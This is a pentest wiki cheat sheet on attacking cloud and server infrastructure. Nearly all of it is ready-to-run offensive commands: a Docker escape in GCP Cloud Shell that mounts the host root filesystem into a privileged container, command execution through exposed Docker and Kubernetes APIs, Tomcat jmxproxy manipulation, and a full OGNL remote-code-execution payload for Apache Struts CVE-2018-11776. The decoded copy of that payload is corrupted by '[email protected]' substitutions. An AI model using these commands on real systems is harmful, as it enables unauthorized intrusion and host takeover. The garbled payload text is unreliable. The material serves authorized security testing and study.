Exploiting Cloud Infrastructure

From pentestwiki.org

Hadoop

In the server machine:


$hadoop fs -ls /


$hadoop fs -ls -R /


$hadoop fs -get /<PATH>


$hadoop fs -cat /<PATH>


$hadoop fs -put /<PATH>


Docker

Useful commands for local environment:

  • List containers
$docker ps


  • List images
$docker images


Useful commands for remote exploitation:

  • List containers
$docker -H $IP:$port ps -a


  • List images
$docker -H $IP:$port images


  • Run CLI
$docker -H $IP:$port info


Privileged mode

By default, Docker containers are “unprivileged” and cannot, for example, run a Docker daemon inside a Docker container. This is because by default a container is not allowed to access any devices, but a “privileged” container is given access to all devices (see the documentation on cgroups devices).

When the operator executes

$docker run --privileged

or

$docker run --rm -it --cap-add=ALL $CMD

Docker will enable access to all devices on the host as well as set some configuration in AppArmor or SELinux to allow the container nearly all the same access to the host as processes running outside containers on the host.

Docker evasion in GCP Cloudshell

Create a privileged container with host root filesystem mounted: 

sudo docker -H unix:///google/host/var/run/docker.sock pull alpine:latest
sudo docker -H unix:///google/host/var/run/docker.sock run -d -it --name LiveOverflow-container -v "/proc:/host/proc" -v "/sys:/host/sys" -v "/:/rootfs" --network=host --privileged=true --cap-add=ALL alpine:latest
sudo docker -H unix:///google/host/var/run/docker.sock start LiveOverflow-container
sudo docker -H unix:///google/host/var/run/docker.sock exec -it LiveOverflow-container /bin/sh

Source: https://offensi.com/2019/12/16/4-google-cloud-shell-bugs-explained-introduction/

Kubernetes

Useful commands:

$kubectl cluster-info


  • Open a shell in the container:
$kubectl exec <POD-NAME> -c <CONTAINER-NAME> -- bash


  • List pods:
$kubectl get pods


  • List APIs:
$kubectl get apiservices


  • List hostnames:
$kubectl get svc hostnames


  • Check permissions:
$kubectl auth can-i list secrets --namespace dev --as dave


Some paths:


Get all pods paths:

$(curl http://$SERVER:$PORT/api/v1/pods | grep selfLink) 2> /dev/null | cut -d'"' -f4


If the kube-proxy was enabled

$kubectl proxy &

, we can also query:


  • How to execute commands inside the container:
$curl http://127.0.0.1:8001/api/exec/$NAMESPACE/$POD/$CONTAINER?command=/bin/id&input=1&output=1&tty=0


Exploit for CVE-2018-1002105

In all Kubernetes versions prior to v1.10.11, v1.11.5, and v1.12.3, incorrect handling of error responses to proxied upgrade requests in the kube-apiserver allowed specially crafted requests to establish a connection through the Kubernetes API server to backend servers, then send arbitrary requests over the same connection directly to the backend, authenticated with the Kubernetes API server's TLS credentials used to establish the backend connection.


minikube

Never use in production environments! It maps guest /Users to host /Users (In MacOS). Easy jail evasion.

How to open a ssh session in the guest:

$minikube ssh


Google GWT-RPC

Get all RPC endpoints, leaked from X32.cache.js, being X32 a 32-char string retrieved from the page that does the call: 

for i in `perl URLSUCKER -f X32.cache.js | strings -n 32`; do curl -Ik https://$SERVER:$PORT/$PATH/$i.gwt.rpc; done

More info: http://www.owasp.org/images/7/77/Attacking_Google_Web_Toolkit.ppt

Hashicorp Nomad

Hashicorp Consul

  • List cluster members:
$consul members -http-addr http://$HOST


  • How to ACL between microservices:
$consul intention create -deny web database


Jenkins RCE

Jenkins shell to ease Jenkins post exploitation:

Tomcat

jmxproxy

The JMX Proxy Servlet is a lightweight proxy to get and set the tomcat internals. (Or any class that has been exposed via an MBean) Its usage is not very user friendly but the UI is extremely helpful for integrating command line scripts for monitoring and changing the internals of tomcat. You can do two things with the proxy:

  • get information
  • set information


Source: https://tomcat.apache.org/tomcat-7.0-doc/manager-howto.html#What_is_JMX_Proxy_Servlet

Paths: 

http://$SERVER/manager/jmxproxy
http://$SERVER/manager/jmxproxy/?qry=STUFF
http://$SERVER/manager/jmxproxy/?get=BEANNAME&att=MYATTRIBUTE&key=MYKEY
http://$SERVER/manager/jmxproxy/?get=java.lang:type=Memory&att=HeapMemoryUsage
http://$SERVER/manager/jmxproxy/?get=java.lang:type=Memory&att=HeapMemoryUsage&key=used
http://$SERVER/manager/jmxproxy/?set=BEANNAME&att=MYATTRIBUTE&val=NEWVALUE
http://$SERVER/manager/jmxproxy/?set=Catalina%3Atype%3DValve%2Cname%3DErrorReportValve%2Chost%3Dlocalhost&att=debug&val=cow
http://$SERVER/manager/jmxproxy/?invoke=BEANNAME&op=METHODNAME&ps=COMMASEPARATEDPARAMETERS
http://$SERVER/manager/jmxproxy/?invoke=Catalina%3Atype%3DService&op=findConnectors&ps=

Apache Struts

CVE-2017-5638 Apache Struts 2.3.5 < 2.3.31 / 2.5 < 2.5.10 - Remote Code Execution (RCE)


CVE-2017-9805 Apache Struts 2.5 < 2.5.12 - REST Plugin XStream Remote Code Execution (RCE)

Test lab deployment

$docker pull piesecurity/apache-struts2-cve-2017-5638
$docker run -d --name struts2 -p 32771:8080 piesecurity/apache-struts2-cve-2017-5638


CVE-2018-11776


POC:

$curl http://$IP/%24%7B%28%23_memberAccess%5B%27allowStaticMethodAccess%27%5D%3Dtrue%29.%28%23cmd%3D%27id%27%29.%28%23iswin%3D%28%40java.lang.System%40getProperty%28%27os.name%27%29.toLowerCase%28%29.contains%28%27win%27%29%29%29.%28%23cmds%3D%28%23iswin%3F%7B%27cmd.exe%27%2C%27c%27%2C%23cmd%7D%3A%7B%27bash%27%2C%27-c%27%2C%23cmd%7D%29%29.%28%23p%3Dnew%20java.lang.ProcessBuilder%28%23cmds%29%29.%28%23p.redirectErrorStream%28true%29%29.%28%23process%3D%23p.start%28%29%29.%28%23ros%3D%28%40org.apache.struts2.ServletActionContext%40getResponse%28%29.getOutputStream%28%29%29%29.%28%40org.apache.commons.io.IOUtils%40copy%28%23process.getInputStream%28%29%2C%23ros%29%29.%28%23ros.flush%28%29%29%7D/help.action


Decoded query: 

http://$IP/\${(#_memberAccess['allowStaticMethodAccess']=true).(#cmd='id').(#iswin=(@[email protected]('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','c',#cmd}:{'bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@[email protected]().getOutputStream())).(@[email protected](#process.getInputStream(),#ros)).(#ros.flush())}/help.action
Retrieved from ‘https://pentestwiki.org/index.php?title=Exploiting_Cloud_Infrastructure&oldid=1334’